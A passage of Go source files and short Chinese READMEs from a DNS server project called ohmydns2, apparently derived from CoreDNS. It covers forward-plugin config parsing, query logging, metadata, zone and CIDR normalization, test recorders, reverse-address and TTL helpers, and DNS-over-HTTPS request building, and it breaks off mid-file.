c.OnShutdown(func() error {
return f.OnShutdown()
})
}
return nil
}
// OnStartup starts a goroutines for all proxies.
func (f *Forward) OnStartup() (err error) {
for _, p := range f.proxies {
p.Start(f.hcInterval)
}
return nil
}
// OnShutdown stops all configured proxies.
func (f *Forward) OnShutdown() error {
for _, p := range f.proxies {
p.Stop()
}
return nil
}
func parseForward(c *caddy.Controller) ([]*Forward, error) {
var fs = []*Forward{}
for c.Next() {
f, err := parseStanza(c)
if err != nil {
return nil, err
}
fs = append(fs, f)
}
return fs, nil
}
func parseStanza(c *caddy.Controller) (*Forward, error) {
f := New()
if !c.Args(&f.from) {
return f, c.ArgErr()
}
origFrom := f.from
zones := plugin.Host(f.from).NormalizeExact()
if len(zones) == 0 {
return f, fmt.Errorf("unable to normalize '%s'", f.from)
}
f.from = zones[0] // there can only be one here, won't work with non-octet reverse
if len(zones) > 1 {
log.Warningf("Unsupported CIDR notation: '%s' expands to multiple zones. Using only '%s'.", origFrom, f.from)
}
to := c.RemainingArgs()
if len(to) == 0 {
return f, c.ArgErr()
}
toHosts, err := parse.HostPortOrFile(to...)
if err != nil {
return f, err
}
transports := make([]string, len(toHosts))
allowedTrans := map[string]bool{"dns": true, "tls": true}
for i, host := range toHosts {
trans, h := parse.Transport(host)
if !allowedTrans[trans] {
return f, fmt.Errorf("'%s' is not supported as a destination protocol in forward: %s", trans, host)
}
p := proxy.NewProxy(h, trans)
f.proxies = append(f.proxies, p)
transports[i] = trans
}
for c.NextBlock() {
if err := parseBlock(c, f); err != nil {
return f, err
}
}
if f.tlsServerName != "" {
f.tlsConfig.ServerName = f.tlsServerName
}
// Initialize ClientSessionCache in tls.Config. This may speed up a TLS handshake
// in upcoming connections to the same TLS server.
f.tlsConfig.ClientSessionCache = tls.NewLRUClientSessionCache(len(f.proxies))
for i := range f.proxies {
// Only set this for proxies that need it.
if transports[i] == transport.TLS {
f.proxies[i].SetTLSConfig(f.tlsConfig)
}
f.proxies[i].SetExpire(f.expire)
f.proxies[i].GetHealthchecker().SetRecursionDesired(f.opts.HCRecursionDesired)
// when TLS is used, checks are set to tcp-tls
if f.opts.ForceTCP && transports[i] != transport.TLS {
f.proxies[i].GetHealthchecker().SetTCPTransport()
}
f.proxies[i].GetHealthchecker().SetDomain(f.opts.HCDomain)
}
return f, nil
}
func parseBlock(c *caddy.Controller, f *Forward) error {
switch c.Val() {
case "except":
ignore := c.RemainingArgs()
if len(ignore) == 0 {
return c.ArgErr()
}
for i := 0; i < len(ignore); i++ {
f.ignored = append(f.ignored, plugin.Host(ignore[i]).NormalizeExact()...)
}
case "max_fails":
if !c.NextArg() {
return c.ArgErr()
}
n, err := strconv.ParseUint(c.Val(), 10, 32)
if err != nil {
return err
}
f.maxfails = uint32(n)
case "health_check":
if !c.NextArg() {
return c.ArgErr()
}
dur, err := time.ParseDuration(c.Val())
if err != nil {
return err
}
if dur < 0 {
return fmt.Errorf("health_check can't be negative: %d", dur)
}
f.hcInterval = dur
f.opts.HCDomain = "."
for c.NextArg() {
switch hcOpts := c.Val(); hcOpts {
case "no_rec":
f.opts.HCRecursionDesired = false
case "domain":
if !c.NextArg() {
return c.ArgErr()
}
hcDomain := c.Val()
if _, ok := dns.IsDomainName(hcDomain); !ok {
return fmt.Errorf("health_check: invalid domain name %s", hcDomain)
}
f.opts.HCDomain = plugin.Name(hcDomain).Normalize()
default:
return fmt.Errorf("health_check: unknown option %s", hcOpts)
}
}
case "force_tcp":
if c.NextArg() {
return c.ArgErr()
}
f.opts.ForceTCP = true
case "prefer_udp":
if c.NextArg() {
return c.ArgErr()
}
f.opts.PreferUDP = true
case "tls":
args := c.RemainingArgs()
if len(args) > 3 {
return c.ArgErr()
}
tlsConfig, err := pkgtls.NewTLSConfigFromArgs(args...)
if err != nil {
return err
}
f.tlsConfig = tlsConfig
case "tls_servername":
if !c.NextArg() {
return c.ArgErr()
}
f.tlsServerName = c.Val()
case "expire":
if !c.NextArg() {
return c.ArgErr()
}
dur, err := time.ParseDuration(c.Val())
if err != nil {
return err
}
if dur < 0 {
return fmt.Errorf("expire can't be negative: %s", dur)
}
f.expire = dur
case "policy":
if !c.NextArg() {
return c.ArgErr()
}
switch x := c.Val(); x {
case "random":
f.p = &random{}
case "round_robin":
f.p = &roundRobin{}
case "sequential":
f.p = &sequential{}
default:
return c.Errf("unknown policy '%s'", x)
}
case "max_concurrent":
if !c.NextArg() {
return c.ArgErr()
}
n, err := strconv.Atoi(c.Val())
if err != nil {
return err
}
if n < 0 {
return fmt.Errorf("max_concurrent can't be negative: %d", n)
}
f.ErrLimitExceeded = errors.New("concurrent queries exceeded maximum " + c.Val())
f.maxConcurrent = int64(n)
default:
return c.Errf("unknown property '%s'", c.Val())
}
return nil
}
const max = 15 // Maximum number of upstreams.

View File

@@ -0,0 +1,4 @@
# log
*log--启用查询记录到标准输出*
## 简介
通过使用*log*,可以将所有查询(以及回复的部分)转存到标准输出上。并可通过一些选项稍微调整输出。请注意,对于繁忙的服务器,日志记录会导致性能下降。启用或禁用日志插件只会影响查询日志记录,任何其他来自 OhmyDNS 的日志记录都会显示出来。

View File

@@ -0,0 +1,72 @@
package log
import (
"context"
"ohmydns2/plugin"
"ohmydns2/plugin/pkg/dnstest"
olog "ohmydns2/plugin/pkg/log"
"ohmydns2/plugin/pkg/replacer"
"ohmydns2/plugin/pkg/request"
"ohmydns2/plugin/pkg/response"
"time"
"github.com/miekg/dns"
)
// Logger is a basic request logging plugin.
type Logger struct {
Next plugin.Handler
Rules []Rule
repl replacer.Replacer
}
// ServeDNS implements the plugin.Handler interface.
func (l Logger) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
state := request.Request{W: w, Req: r}
name := state.Name()
for _, rule := range l.Rules {
if !plugin.Name(rule.NameScope).Matches(name) {
continue
}
rrw := dnstest.NewRecorder(w)
rc, err := plugin.NextOrFailure(l.Name(), l.Next, ctx, rrw, r)
// If we don't set up a class in config, the default "all" will be added
// and we shouldn't have an empty rule.Class.
_, ok := rule.Class[response.All]
var ok1 bool
if !ok {
tpe, _ := response.Typify(rrw.Msg, time.Now().UTC())
class := response.Classify(tpe)
_, ok1 = rule.Class[class]
}
if ok || ok1 {
logstr := l.repl.Replace(ctx, state, rrw, rule.Format)
olog.Info(logstr)
}
return rc, err
}
return plugin.NextOrFailure(l.Name(), l.Next, ctx, w, r)
}
// Name implements the Handler interface.
func (l Logger) Name() string { return "log" }
// Rule configures the logging plugin.
type Rule struct {
NameScope string
Class map[response.Class]struct{}
Format string
}
const (
// CommonLogFormat is the common log format.
CommonLogFormat = `{remote}:{port} ` + replacer.EmptyValue + ` {>id} "{type} {class} {name} {proto} {size} {>do} {>bufsize}" {rcode} {>rflags} {rsize} {duration}`
// CombinedLogFormat is the combined log format.
CombinedLogFormat = CommonLogFormat + ` "{>opcode}"`
// DefaultLogFormat is the default log format.
DefaultLogFormat = CommonLogFormat
)

View File

@@ -0,0 +1,101 @@
package log
import (
"ohmydns2/core/dnsserver"
"ohmydns2/plugin"
"ohmydns2/plugin/pkg/replacer"
"ohmydns2/plugin/pkg/response"
"strings"
"github.com/coredns/caddy"
"github.com/miekg/dns"
)
func init() { plugin.Register("log", setup) }
func setup(c *caddy.Controller) error {
rules, err := logParse(c)
if err != nil {
return plugin.Error("log", err)
}
dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
return Logger{Next: next, Rules: rules, repl: replacer.New()}
})
return nil
}
func logParse(c *caddy.Controller) ([]Rule, error) {
var rules []Rule
for c.Next() {
args := c.RemainingArgs()
length := len(rules)
switch len(args) {
case 0:
// Nothing specified; use defaults
rules = append(rules, Rule{
NameScope: ".",
Format: DefaultLogFormat,
Class: make(map[response.Class]struct{}),
})
case 1:
rules = append(rules, Rule{
NameScope: dns.Fqdn(args[0]),
Format: DefaultLogFormat,
Class: make(map[response.Class]struct{}),
})
default:
// Name scopes, and maybe a format specified
format := DefaultLogFormat
if strings.Contains(args[len(args)-1], "{") {
format = args[len(args)-1]
format = strings.Replace(format, "{common}", CommonLogFormat, -1)
format = strings.Replace(format, "{combined}", CombinedLogFormat, -1)
args = args[:len(args)-1]
}
for _, str := range args {
rules = append(rules, Rule{
NameScope: dns.Fqdn(str),
Format: format,
Class: make(map[response.Class]struct{}),
})
}
}
// Class refinements in an extra block.
classes := make(map[response.Class]struct{})
for c.NextBlock() {
switch c.Val() {
// class followed by combinations of all, denial, error and success.
case "class":
classesArgs := c.RemainingArgs()
if len(classesArgs) == 0 {
return nil, c.ArgErr()
}
for _, c := range classesArgs {
cls, err := response.ClassFromString(c)
if err != nil {
return nil, err
}
classes[cls] = struct{}{}
}
default:
return nil, c.ArgErr()
}
}
if len(classes) == 0 {
classes[response.All] = struct{}{}
}
for i := len(rules) - 1; i >= length; i-- {
rules[i].Class = classes
}
}
return rules, nil
}

View File

@@ -0,0 +1,43 @@
# metadata
## 简介
metadata包提供了一个 API允许插件将元数据添加到上下文中。每个元数据都存储在格式为`<plugin>/<name>` 的标签下。每个元数据作为 Func 返回。调用 Func 时返回元数据。如果某个 Func 执行时间很长,就需要自行提供某种形式的缓存。在处理一个查询时的元数据应该保持不变。
## 用例
Basic example:
```go
//
// Implement the Provider interface for a plugin p:
//
func (p P) Metadata(ctx context.Context, state request.Request) context.Context {
metadata.SetValueFunc(ctx, "test/something", func() string {
return "myvalue"
})
return ctx
}
```
Basic example with caching:
```go
func (p P) Metadata(ctx context.Context, state request.Request) context.Context {
cached := ""
f := func() string {
if cached != "" {
return cached
}
cached = expensiveFunc()
return cached
}
metadata.SetValueFunc(ctx, "test/something", f)
return ctx
}
```
If you need access to this metadata from another plugin:
```go
// ...
valueFunc := metadata.ValueFunc(ctx, "test/something")
value := valueFunc()
// use 'value'
```

View File

@@ -0,0 +1,42 @@
package metadata
import (
"context"
"github.com/miekg/dns"
"ohmydns2/plugin"
"ohmydns2/plugin/pkg/request"
)
// Metadata implements collecting metadata information from all plugins that
// implement the Provider interface.
type Metadata struct {
Zones []string
Providers []Provider
Next plugin.Handler
}
// Name implements the Handler interface.
func (m *Metadata) Name() string { return "metadata" }
// ContextWithMetadata is exported for use by provider tests
func ContextWithMetadata(ctx context.Context) context.Context {
return context.WithValue(ctx, key{}, md{})
}
// ServeDNS implements the plugin.Handler interface.
func (m *Metadata) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
rcode, err := plugin.NextOrFailure(m.Name(), m.Next, ctx, w, r)
return rcode, err
}
// Collect will retrieve metadata functions from each metadata provider and update the context
func (m *Metadata) Collect(ctx context.Context, state request.Request) context.Context {
ctx = ContextWithMetadata(ctx)
if plugin.Zones(m.Zones).Matches(state.Name()) != "" {
// Go through all Providers and collect metadata.
for _, p := range m.Providers {
ctx = p.Metadata(ctx, state)
}
}
return ctx
}

View File

@@ -0,0 +1,89 @@
package metadata
import (
"context"
"ohmydns2/plugin/pkg/request"
"strings"
)
// Provider interface needs to be implemented by each plugin willing to provide
// metadata information for other plugins.
type Provider interface {
// Metadata adds metadata to the context and returns a (potentially) new context.
// Note: this method should work quickly, because it is called for every request
// from the metadata plugin.
Metadata(ctx context.Context, state request.Request) context.Context
}
// Func is the type of function in the metadata, when called they return the value of the label.
type Func func() string
// IsLabel checks that the provided name is a valid label name, i.e. two or more words separated by a slash.
func IsLabel(label string) bool {
p := strings.Index(label, "/")
if p <= 0 || p >= len(label)-1 {
// cannot accept namespace empty nor label empty
return false
}
return true
}
// Labels returns all metadata keys stored in the context. These label names should be named
// as: plugin/NAME, where NAME is something descriptive.
func Labels(ctx context.Context) []string {
if metadata := ctx.Value(key{}); metadata != nil {
if m, ok := metadata.(md); ok {
return keys(m)
}
}
return nil
}
// ValueFuncs returns the map[string]Func from the context, or nil if it does not exist.
func ValueFuncs(ctx context.Context) map[string]Func {
if metadata := ctx.Value(key{}); metadata != nil {
if m, ok := metadata.(md); ok {
return m
}
}
return nil
}
// ValueFunc returns the value function of label. If none can be found nil is returned. Calling the
// function returns the value of the label.
func ValueFunc(ctx context.Context, label string) Func {
if metadata := ctx.Value(key{}); metadata != nil {
if m, ok := metadata.(md); ok {
return m[label]
}
}
return nil
}
// SetValueFunc set the metadata label to the value function. If no metadata can be found this is a noop and
// false is returned. Any existing value is overwritten.
func SetValueFunc(ctx context.Context, label string, f Func) bool {
if metadata := ctx.Value(key{}); metadata != nil {
if m, ok := metadata.(md); ok {
m[label] = f
return true
}
}
return false
}
// md is metadata information storage.
type md map[string]Func
// key defines the type of key that is used to save metadata into the context.
type key struct{}
func keys(m map[string]Func) []string {
s := make([]string, len(m))
i := 0
for k := range m {
s[i] = k
i++
}
return s
}

View File

@@ -0,0 +1,45 @@
package metadata
import (
"ohmydns2/core/dnsserver"
"ohmydns2/plugin"
"github.com/coredns/caddy"
)
func init() { plugin.Register("metadata", setup) }
func setup(c *caddy.Controller) error {
m, err := metadataParse(c)
if err != nil {
return err
}
dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
m.Next = next
return m
})
c.OnStartup(func() error {
plugins := dnsserver.GetConfig(c).Handlers()
for _, p := range plugins {
if met, ok := p.(Provider); ok {
m.Providers = append(m.Providers, met)
}
}
return nil
})
return nil
}
func metadataParse(c *caddy.Controller) (*Metadata, error) {
m := &Metadata{}
c.Next()
m.Zones = plugin.OriginsFromArgsOrServerBlock(c.RemainingArgs(), c.ServerBlockKeys)
if c.NextBlock() || c.Next() {
return nil, plugin.Error("metadata", c.ArgErr())
}
return m, nil
}

View File

@@ -0,0 +1,179 @@
package plugin
import (
"fmt"
valid "github.com/asaskevich/govalidator"
"net"
"ohmydns2/plugin/pkg/cidr"
"ohmydns2/plugin/pkg/log"
"ohmydns2/plugin/pkg/parse"
"runtime"
"strconv"
"strings"
"github.com/miekg/dns"
)
// Host represents a host from the Ohmyfile
type Host string
// Normalize will return the host portion of host, stripping
// of any port or transport. The host will also be fully qualified and lowercased.
// An empty string is returned on failure
// Deprecated: use OriginsFromArgsOrServerBlock or NormalizeExact
func (h Host) Normalize() string {
var caller string
if _, file, line, ok := runtime.Caller(1); ok {
caller = fmt.Sprintf("(%v line %d) ", file, line)
}
log.Warning("An external plugin " + caller + "is using the deprecated function Normalize. " +
"This will be removed in a future versions of CoreDNS. The plugin should be updated to use " +
"OriginsFromArgsOrServerBlock or NormalizeExact instead.")
s := string(h)
_, s = parse.Transport(s)
// The error can be ignored here, because this function is called after the corefile has already been vetted.
hosts, _, err := SplitHostPort(s)
if err != nil {
return ""
}
return Name(hosts[0]).Normalize()
}
// NormalizeExact will return the host portion of host, stripping
// of any port or transport. The host will also be fully qualified and lowercased.
// An empty slice is returned on failure
func (h Host) NormalizeExact() []string {
// The error can be ignored here, because this function should only be called after the corefile has already been vetted.
s := string(h)
_, s = parse.Transport(s)
hosts, _, err := SplitHostPort(s)
if err != nil {
return nil
}
for i := range hosts {
hosts[i] = Name(hosts[i]).Normalize()
}
return hosts
}
// Zones represents a lists of zone names.
type Zones []string
// Matches checks if qname is a subdomain of any of the zones in z. The match
// will return the most specific zones that matches. The empty string
// signals a not found condition.
func (z Zones) Matches(qname string) string {
zone := ""
for _, zname := range z {
if dns.IsSubDomain(zname, qname) {
// We want the *longest* matching zone, otherwise we may end up in a parent
if len(zname) > len(zone) {
zone = zname
}
}
}
return zone
}
// Normalize fully qualifies all zones in z. The zones in Z must be domain names, without
// a port or protocol prefix.
func (z Zones) Normalize() {
for i := range z {
z[i] = Name(z[i]).Normalize()
}
}
// Name represents a domain name.
type Name string
// Matches checks to see if other is a subdomain (or the same domain) of n.
// This method assures that names can be easily and consistently matched.
func (n Name) Matches(child string) bool {
if dns.Name(n) == dns.Name(child) {
return true
}
return dns.IsSubDomain(string(n), child)
}
// Normalize lowercases and makes n fully qualified.
func (n Name) Normalize() string { return strings.ToLower(dns.Fqdn(string(n))) }
// OriginsFromArgsOrServerBlock returns the normalized args if that slice
// is not empty, otherwise the serverblock slice is returned (in a newly copied slice).
func OriginsFromArgsOrServerBlock(args, serverblock []string) []string {
if len(args) == 0 {
s := make([]string, len(serverblock))
copy(s, serverblock)
for i := range s {
s[i] = Host(s[i]).NormalizeExact()[0] // expansion of these already happened in dnsserver/register.go
}
return s
}
s := []string{}
for i := range args {
sx := Host(args[i]).NormalizeExact()
if len(sx) == 0 {
continue // silently ignores errors.
}
s = append(s, sx...)
}
return s
}
// SplitHostPort splits s up in a host(s) and port portion, taking reverse address notation into account.
// String the string s should *not* be prefixed with any protocols, i.e. dns://. SplitHostPort can return
// multiple hosts when a reverse notation on a non-octet boundary is given.
func SplitHostPort(s string) (hosts []string, port string, err error) {
// If there is: :[0-9]+ on the end we assume this is the port. This works for (ascii) domain
// names and our reverse syntax, which always needs a /mask *before* the port.
// So from the back, find first colon, and then check if it's a number.
colon := strings.LastIndex(s, ":")
if colon == len(s)-1 {
return nil, "", fmt.Errorf("expecting data after last colon: %q", s)
}
if colon != -1 {
if p, err := strconv.Atoi(s[colon+1:]); err == nil {
port = strconv.Itoa(p)
s = s[:colon]
}
}
// TODO(miek): this should take escaping into account.
if len(s) > 255 {
return nil, "", fmt.Errorf("specified zone is too long: %d > 255", len(s))
}
if _, ok := dns.IsDomainName(s); !ok {
return nil, "", fmt.Errorf("zone is not a valid domain name: %s", s)
}
// Check if it parses as a reverse zone, if so we use that. Must be fully specified IP and mask.
_, n, err := net.ParseCIDR(s)
if err != nil {
return []string{s}, port, nil
}
if s[0] == ':' || (s[0] == '0' && strings.Contains(s, ":")) {
return nil, "", fmt.Errorf("invalid CIDR %s", s)
}
// now check if multiple hosts must be returned.
nets := cidr.Split(n)
hosts = cidr.Reverse(nets)
return hosts, port, nil
}
// SplitPort 用于从探测端的服务块中分离出Port并且接收到的参数必须为[:port],这意味着所有探测端服务块必须指定端口号
func SplitPort(s string) (port string, err error) {
if !strings.HasPrefix(s, ":") {
return "", fmt.Errorf("探测端服务块配置存在错误,应接收到[:port],实际接收到: %v", s)
}
if !valid.IsPort(s[1:]) {
return "", fmt.Errorf("探测端服务块配置存在错误,端口号不合法,实际接收到: %v", s[1:])
}
return s[1:], nil
}

View File

@@ -0,0 +1 @@
*pkg*包含了所有ohmydns2核心处理逻辑需要的插件

View File

@@ -0,0 +1,82 @@
// Package cidr contains functions that deal with classless reverse zones in the DNS.
package cidr
import (
"github.com/apparentlymart/go-cidr/cidr"
"github.com/miekg/dns"
"math"
"net"
"strings"
)
// Split returns a slice of non-overlapping subnets that in union equal the subnet n,
// and where each subnet falls on a reverse name segment boundary.
// for ipv4 this is any multiple of 8 bits (/8, /16, /24 or /32)
// for ipv6 this is any multiple of 4 bits
func Split(n *net.IPNet) []string {
boundary := 8
nstr := n.String()
if strings.Contains(nstr, ":") {
boundary = 4
}
ones, _ := n.Mask.Size()
if ones%boundary == 0 {
return []string{n.String()}
}
mask := int(math.Ceil(float64(ones)/float64(boundary))) * boundary
networks := nets(n, mask)
cidrs := make([]string, len(networks))
for i := range networks {
cidrs[i] = networks[i].String()
}
return cidrs
}
// nets return a slice of prefixes with the desired mask subnetted from original network.
func nets(network *net.IPNet, newPrefixLen int) []*net.IPNet {
prefixLen, _ := network.Mask.Size()
maxSubnets := int(math.Exp2(float64(newPrefixLen)) / math.Exp2(float64(prefixLen)))
nets := []*net.IPNet{{IP: network.IP, Mask: net.CIDRMask(newPrefixLen, 8*len(network.IP))}}
for i := 1; i < maxSubnets; i++ {
next, exceeds := cidr.NextSubnet(nets[len(nets)-1], newPrefixLen)
nets = append(nets, next)
if exceeds {
break
}
}
return nets
}
// Reverse return the reverse zones that are authoritative for each net in ns.
func Reverse(nets []string) []string {
rev := make([]string, len(nets))
for i := range nets {
ip, n, _ := net.ParseCIDR(nets[i])
r, err1 := dns.ReverseAddr(ip.String())
if err1 != nil {
continue
}
ones, bits := n.Mask.Size()
// get the size, in bits, of each portion of hostname defined in the reverse address. (8 for IPv4, 4 for IPv6)
sizeDigit := 8
if len(n.IP) == net.IPv6len {
sizeDigit = 4
}
// Get the first lower octet boundary to see what encompassing zone we should be authoritative for.
mod := (bits - ones) % sizeDigit
nearest := (bits - ones) + mod
offset := 0
var end bool
for i := 0; i < nearest/sizeDigit; i++ {
offset, end = dns.NextLabel(r, offset)
if end {
break
}
}
rev[i] = r[offset:]
}
return rev
}

View File

@@ -0,0 +1,40 @@
package dnstest
import (
"github.com/miekg/dns"
"time"
)
// MultiRecorder is a type of ResponseWriter that captures all messages written to it.
type MultiRecorder struct {
Len int
Msgs []*dns.Msg
Start time.Time
dns.ResponseWriter
}
// NewMultiRecorder makes and returns a new MultiRecorder.
func NewMultiRecorder(w dns.ResponseWriter) *MultiRecorder {
return &MultiRecorder{
ResponseWriter: w,
Msgs: make([]*dns.Msg, 0),
Start: time.Now(),
}
}
// WriteMsg records the message and its length written to it and call the
// underlying ResponseWriter's WriteMsg method.
func (r *MultiRecorder) WriteMsg(res *dns.Msg) error {
r.Len += res.Len()
r.Msgs = append(r.Msgs, res)
return r.ResponseWriter.WriteMsg(res)
}
// Write is a wrapper that records the length of the messages that get written to it.
func (r *MultiRecorder) Write(buf []byte) (int, error) {
n, err := r.ResponseWriter.Write(buf)
if err == nil {
r.Len += n
}
return n, err
}

View File

@@ -0,0 +1,52 @@
package dnstest
import (
"github.com/miekg/dns"
"time"
)
// Recorder is a type of ResponseWriter that captures
// the rcode code written to it and also the size of the message
// written in the response. A rcode code does not have
// to be written, however, in which case 0 must be assumed.
// It is best to have the constructor initialize this type
// with that default status code.
type Recorder struct {
dns.ResponseWriter
Rcode int
Len int
Msg *dns.Msg
Start time.Time
}
// NewRecorder makes and returns a new Recorder,
// which captures the DNS rcode from the ResponseWriter
// and also the length of the response message written through it.
func NewRecorder(w dns.ResponseWriter) *Recorder {
return &Recorder{
ResponseWriter: w,
Rcode: 0,
Msg: nil,
Start: time.Now(),
}
}
// WriteMsg records the status code and calls the
// underlying ResponseWriter's WriteMsg method.
func (r *Recorder) WriteMsg(res *dns.Msg) error {
r.Rcode = res.Rcode
// We may get called multiple times (axfr for instance).
// Save the last message, but add the sizes.
r.Len += res.Len()
r.Msg = res
return r.ResponseWriter.WriteMsg(res)
}
// Write is a wrapper that records the length of the message that gets written.
func (r *Recorder) Write(buf []byte) (int, error) {
n, err := r.ResponseWriter.Write(buf)
if err == nil {
r.Len += n
}
return n, err
}

View File

@@ -0,0 +1,64 @@
// Package dnstest allows for easy testing of DNS client against a test server.
package dnstest
import (
"github.com/miekg/dns"
"net"
"ohmydns2/plugin/pkg/reuseport"
)
// A Server is an DNS server listening on a system-chosen port on the local
// loopback interface, for use in end-to-end DNS tests.
type Server struct {
Addr string // Address where the server listening.
s1 *dns.Server // udp
s2 *dns.Server // tcp
}
// NewServer starts and returns a new Server. The caller should call Close when
// finished, to shut it down.
func NewServer(f dns.HandlerFunc) *Server {
dns.HandleFunc(".", f)
ch1 := make(chan bool)
ch2 := make(chan bool)
s1 := &dns.Server{} // udp
s2 := &dns.Server{} // tcp
for i := 0; i < 5; i++ { // 5 attempts
s2.Listener, _ = reuseport.Listen("tcp", ":0")
if s2.Listener == nil {
continue
}
s1.PacketConn, _ = net.ListenPacket("udp", s2.Listener.Addr().String())
if s1.PacketConn != nil {
break
}
// perhaps UPD port is in use, try again
s2.Listener.Close()
s2.Listener = nil
}
if s2.Listener == nil {
panic("dnstest.NewServer(): failed to create new server")
}
s1.NotifyStartedFunc = func() { close(ch1) }
s2.NotifyStartedFunc = func() { close(ch2) }
go s1.ActivateAndServe()
go s2.ActivateAndServe()
<-ch1
<-ch2
return &Server{s1: s1, s2: s2, Addr: s2.Listener.Addr().String()}
}
// Close shuts down the server.
func (s *Server) Close() {
s.s1.Shutdown()
s.s2.Shutdown()
}

View File

@@ -0,0 +1,81 @@
package dnsutil
import (
"net"
"strings"
)
// ExtractAddressFromReverse turns a standard PTR reverse record name
// into an IP address. This works for ipv4 or ipv6.
//
// 54.119.58.176.in-addr.arpa. becomes 176.58.119.54. If the conversion
// fails the empty string is returned.
func ExtractAddressFromReverse(reverseName string) string {
search := ""
f := reverse
switch {
case strings.HasSuffix(reverseName, IP4arpa):
search = strings.TrimSuffix(reverseName, IP4arpa)
case strings.HasSuffix(reverseName, IP6arpa):
search = strings.TrimSuffix(reverseName, IP6arpa)
f = reverse6
default:
return ""
}
// Reverse the segments and then combine them.
return f(strings.Split(search, "."))
}
// IsReverse returns 0 is name is not in a reverse zone. Anything > 0 indicates
// name is in a reverse zone. The returned integer will be 1 for in-addr.arpa. (IPv4)
// and 2 for ip6.arpa. (IPv6).
func IsReverse(name string) int {
if strings.HasSuffix(name, IP4arpa) {
return 1
}
if strings.HasSuffix(name, IP6arpa) {
return 2
}
return 0
}
func reverse(slice []string) string {
for i := 0; i < len(slice)/2; i++ {
j := len(slice) - i - 1
slice[i], slice[j] = slice[j], slice[i]
}
ip := net.ParseIP(strings.Join(slice, ".")).To4()
if ip == nil {
return ""
}
return ip.String()
}
// reverse6 reverse the segments and combine them according to RFC3596:
// b.a.9.8.7.6.5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2
// is reversed to 2001:db8::567:89ab
func reverse6(slice []string) string {
for i := 0; i < len(slice)/2; i++ {
j := len(slice) - i - 1
slice[i], slice[j] = slice[j], slice[i]
}
slice6 := []string{}
for i := 0; i < len(slice)/4; i++ {
slice6 = append(slice6, strings.Join(slice[i*4:i*4+4], ""))
}
ip := net.ParseIP(strings.Join(slice6, ":")).To16()
if ip == nil {
return ""
}
return ip.String()
}
const (
// IP4arpa is the reverse tree suffix for v4 IP addresses.
IP4arpa = ".in-addr.arpa."
// IP6arpa is the reverse tree suffix for v6 IP addresses.
IP6arpa = ".ip6.arpa."
)

View File

@@ -0,0 +1,51 @@
package dnsutil
import (
"ohmydns2/plugin/pkg/response"
"time"
"github.com/miekg/dns"
)
// MinimalTTL scans the message returns the lowest TTL found taking into the response.Type of the message.
func MinimalTTL(m *dns.Msg, mt response.Type) time.Duration {
if mt != response.NoError && mt != response.NameError && mt != response.NoData {
return MinimalDefaultTTL
}
// No records or OPT is the only record, return a short ttl as a fail safe.
if len(m.Answer)+len(m.Ns) == 0 &&
(len(m.Extra) == 0 || (len(m.Extra) == 1 && m.Extra[0].Header().Rrtype == dns.TypeOPT)) {
return MinimalDefaultTTL
}
minTTL := MaximumDefaulTTL
for _, r := range m.Answer {
if r.Header().Ttl < uint32(minTTL.Seconds()) {
minTTL = time.Duration(r.Header().Ttl) * time.Second
}
}
for _, r := range m.Ns {
if r.Header().Ttl < uint32(minTTL.Seconds()) {
minTTL = time.Duration(r.Header().Ttl) * time.Second
}
}
for _, r := range m.Extra {
if r.Header().Rrtype == dns.TypeOPT {
// OPT records use TTL field for extended rcode and flags
continue
}
if r.Header().Ttl < uint32(minTTL.Seconds()) {
minTTL = time.Duration(r.Header().Ttl) * time.Second
}
}
return minTTL
}
const (
// MinimalDefaultTTL is the absolute lowest TTL we use in CoreDNS.
MinimalDefaultTTL = 5 * time.Second
// MaximumDefaulTTL is the maximum TTL was use on RRsets in CoreDNS.
MaximumDefaulTTL = 1 * time.Hour
)

View File

@@ -0,0 +1,133 @@
package doh
import (
"bytes"
"encoding/base64"
"fmt"
"io"
"net/http"
"strings"
"github.com/miekg/dns"
)
// MimeType is the DoH mimetype that should be used.
const MimeType = "application/dns-message"
// Path is the URL path that should be used.
const Path = "/dns-query"
// NewRequest returns a new DoH request given a HTTP method, URL and dns.Msg.
//
// The URL should not have a path, so please exclude /dns-query. The URL will
// be prefixed with https:// by default, unless it's already prefixed with
// either http:// or https://.
func NewRequest(method, url string, m *dns.Msg) (*http.Request, error) {
buf, err := m.Pack()
if err != nil {
return nil, err
}
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
url = fmt.Sprintf("https://%s", url)
}
switch method {
case http.MethodGet:
b64 := base64.RawURLEncoding.EncodeToString(buf)
req, err := http.NewRequest(
http.MethodGet,
fmt.Sprintf("%s%s?dns=%s", url, Path, b64),
nil,
)
if err != nil {
return req, err
}
req.Header.Set("content-type", MimeType)
req.Header.Set("accept", MimeType)
return req, nil
case http.MethodPost:
req, err := http.NewRequest(
http.MethodPost,
fmt.Sprintf("%s%s?bla=foo:443", url, Path),
bytes.NewReader(buf),
)
if err != nil {
return req, err
}
req.Header.Set("content-type", MimeType)
req.Header.Set("accept", MimeType)
return req, nil
default:
return nil, fmt.Errorf("method not allowed: %s", method)
}
}
// ResponseToMsg converts a http.Response to a dns message.
func ResponseToMsg(resp *http.Response) (*dns.Msg, error) {
defer resp.Body.Close()
return toMsg(resp.Body)
}
// RequestToMsg converts a http.Request to a dns message.
func RequestToMsg(req *http.Request) (*dns.Msg, error) {
switch req.Method {
case http.MethodGet:
return requestToMsgGet(req)
case http.MethodPost:
return requestToMsgPost(req)
default:
return nil, fmt.Errorf("method not allowed: %s", req.Method)
}
}
// requestToMsgPost extracts the dns message from the request body.
func requestToMsgPost(req *http.Request) (*dns.Msg, error) {
defer req.Body.Close()
return toMsg(req.Body)
}
// requestToMsgGet extract the dns message from the GET request.
func requestToMsgGet(req *http.Request) (*dns.Msg, error) {
values := req.URL.Query()
b64, ok := values["dns"]
if !ok {
return nil, fmt.Errorf("no 'dns' query parameter found")
}
if len(b64) != 1 {
return nil, fmt.Errorf("multiple 'dns' query values found")
}
return base64ToMsg(b64[0])
}
func toMsg(r io.ReadCloser) (*dns.Msg, error) {
buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536))
if err != nil {
return nil, err
}
m := new(dns.Msg)
err = m.Unpack(buf)
return m, err
}
func base64ToMsg(b64 string) (*dns.Msg, error) {
